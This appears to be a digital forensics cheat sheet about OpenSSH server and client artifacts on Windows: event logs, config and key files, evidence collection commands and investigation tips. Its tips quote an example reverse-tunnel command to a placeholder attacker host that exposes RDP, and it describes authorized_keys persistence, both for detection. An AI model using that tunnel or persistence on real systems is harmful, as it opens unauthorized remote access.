Skip to content

Network & remote access

OpenSSH Server and Client

OpenSSH on Windows cheat sheet: sshd event log, sshd_config and host keys, authorized_keys persistence, known_hosts, client traces and reverse tunnels.

Location
C:\Windows\System32\winevt\Logs\OpenSSH%4Operational.evtx
Proves
Accepted and failed SSH logons (user, source IP, auth method) and keys that grant persistent SSH access
Timestamps
Event TimeCreated in UTC; file system times of authorized_keys and known_hosts in UTC (NTFS)
Retention
OpenSSH/Operational is a small circular log; key files persist until deleted
Access
Administrator to read the log and %ProgramData%\ssh; per-user .ssh folders need that user's or admin rights
Type
Event log
Windows
1011
KAPE target
No dedicated target
Velociraptor
No dedicated target

What it is

Windows ships Microsoft's port of OpenSSH. The client (ssh.exe, scp.exe, sftp.exe) is installed by default on Windows 10 1803 and later. The server (sshd service) is an optional feature ("OpenSSH Server", available since Windows 10 1809 and Server 2019) that must be added, for example with Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0. It can also be installed from the GitHub Win32-OpenSSH releases into C:\Program Files\OpenSSH. Attackers use it for encrypted remote shells, key-based persistence and tunnels that bypass perimeter controls.

Location

ItemLocation
Binaries (in-box)C:\Windows\System32\OpenSSH\ (ssh.exe, sshd.exe, ssh-agent.exe)
Event logOpenSSH/Operational (OpenSSH%4Operational.evtx)
Text log (optional)%ProgramData%\ssh\logs\sshd.log when SyslogFacility LOCAL0 is set
Server config%ProgramData%\ssh\sshd_config
Host keys%ProgramData%\ssh\ssh_host_*_key (+ .pub), created on first service start
Admin authorized keys%ProgramData%\ssh\administrators_authorized_keys (used for members of Administrators by the default Match Group administrators block)
Per-user keys%USERPROFILE%\.ssh\authorized_keys, known_hosts, id_*, config
Default shellHKLM\SOFTWARE\OpenSSH value DefaultShell (cmd.exe if absent)
Firewall ruleOpenSSH-Server-In-TCP (TCP 22), created by the optional feature

What it proves

  • Server: which account logged on over SSH, from which IP and port, with which method (password or publickey), and failed attempts. Security 4624/4625 events add the logon session.
  • Persistence: a public key in administrators_authorized_keys or a user's authorized_keys grants access without a password, surviving password resets.
  • Client use: known_hosts lists hosts this user connected to (hashed only if HashKnownHosts was set). Execution of ssh.exe appears in Prefetch, Amcache and BAM.

It does not record commands typed in the SSH session. Use process creation (4688, Sysmon event 1) with sshd.exe as parent, and PowerShell logs.

Key fields

SourceEvidenceNotes
OpenSSH/Operationalsshd: Accepted password for <user> from <ip> port <n> ssh2Also Accepted publickey ... <key type> SHA256:<fingerprint>
OpenSSH/OperationalFailed password for ..., Invalid user ..., Disconnected from ...Brute force and enumeration
OpenSSH/OperationalEvent IDsMessages share generic IDs, so filter on message text rather than ID
Security 4624Logon by sshd.exeLogon type depends on auth method and version; type 8 (NetworkCleartext) is often reported for password logons, key-based logons can look different. Validate on a test host
System 7045 / 7036sshd service installed / startedDates the feature's first use
authorized_keysKey type, base64 key, trailing commentThe comment (for example user@kali) is attacker-controlled but often revealing

Timestamps

TimestampMeaningPitfalls
Event TimeCreatedLogon or failure time, UTCSmall log, older events may be gone
authorized_keys $SI/$FN timesKey file created or modifiedCompare $SI and $FN in the $MFT for timestomping
known_hosts modificationLast time a new host key was addedNot updated for every connection
Host key creationFirst start of sshdGood proxy for server installation date

Retention and clearing

  • The OpenSSH/Operational channel is small and circular; on an exposed server, brute force noise can push out the successful logon within days.
  • Keys stay until deleted. Deletion or edits may remain visible in the USN journal and volume shadow copies.
  • Removing the optional feature does not necessarily remove %ProgramData%\ssh.

Collection

wevtutil epl OpenSSH/Operational E:\case\OpenSSH-Operational.evtx
robocopy C:\ProgramData\ssh E:\case\ProgramData_ssh /E /COPY:DAT
Get-ChildItem C:\Users\*\.ssh -Force -Recurse | Select FullName, Length, CreationTimeUtc, LastWriteTimeUtc
Get-WindowsCapability -Online | Where-Object Name -like 'OpenSSH*'
Get-Service sshd, ssh-agent

Copy private host keys only when the case requires it and handle them as sensitive material.

Parsing tools

  • EvtxECmd, Get-WinEvent, Chainsaw: OpenSSH, Security and System events.
  • PECmd and AmcacheParser: client execution (SSH.EXE, PLINK.EXE).
  • Velociraptor: fleet-wide search for authorized_keys files and sshd logs.
  • Any text editor for sshd_config, known_hosts and key files.

Investigation tips

  • Diff sshd_config against the default: PasswordAuthentication or PubkeyAuthentication changes, AuthorizedKeysFile pointing elsewhere, GatewayPorts yes or AllowTcpForwarding enabled.
  • Reverse tunnels: ssh.exe -R <port>:localhost:3389 user@attacker exposes RDP through an outbound connection. Look for -R, -L, -D, -N in command lines, then look for RDP logons from 127.0.0.1 or ::1 in RDP connection logs. plink.exe is used the same way.
  • An unexpected sshd install on a workstation is itself a finding: date it with System 7045, host key creation times and the firewall rule.
  • Correlate client known_hosts entries with network evidence (SRUM, firewall logs, DNS) to identify lateral movement targets.

Related artifacts

Glossary terms

Guides

All artifacts on one page: cheat sheet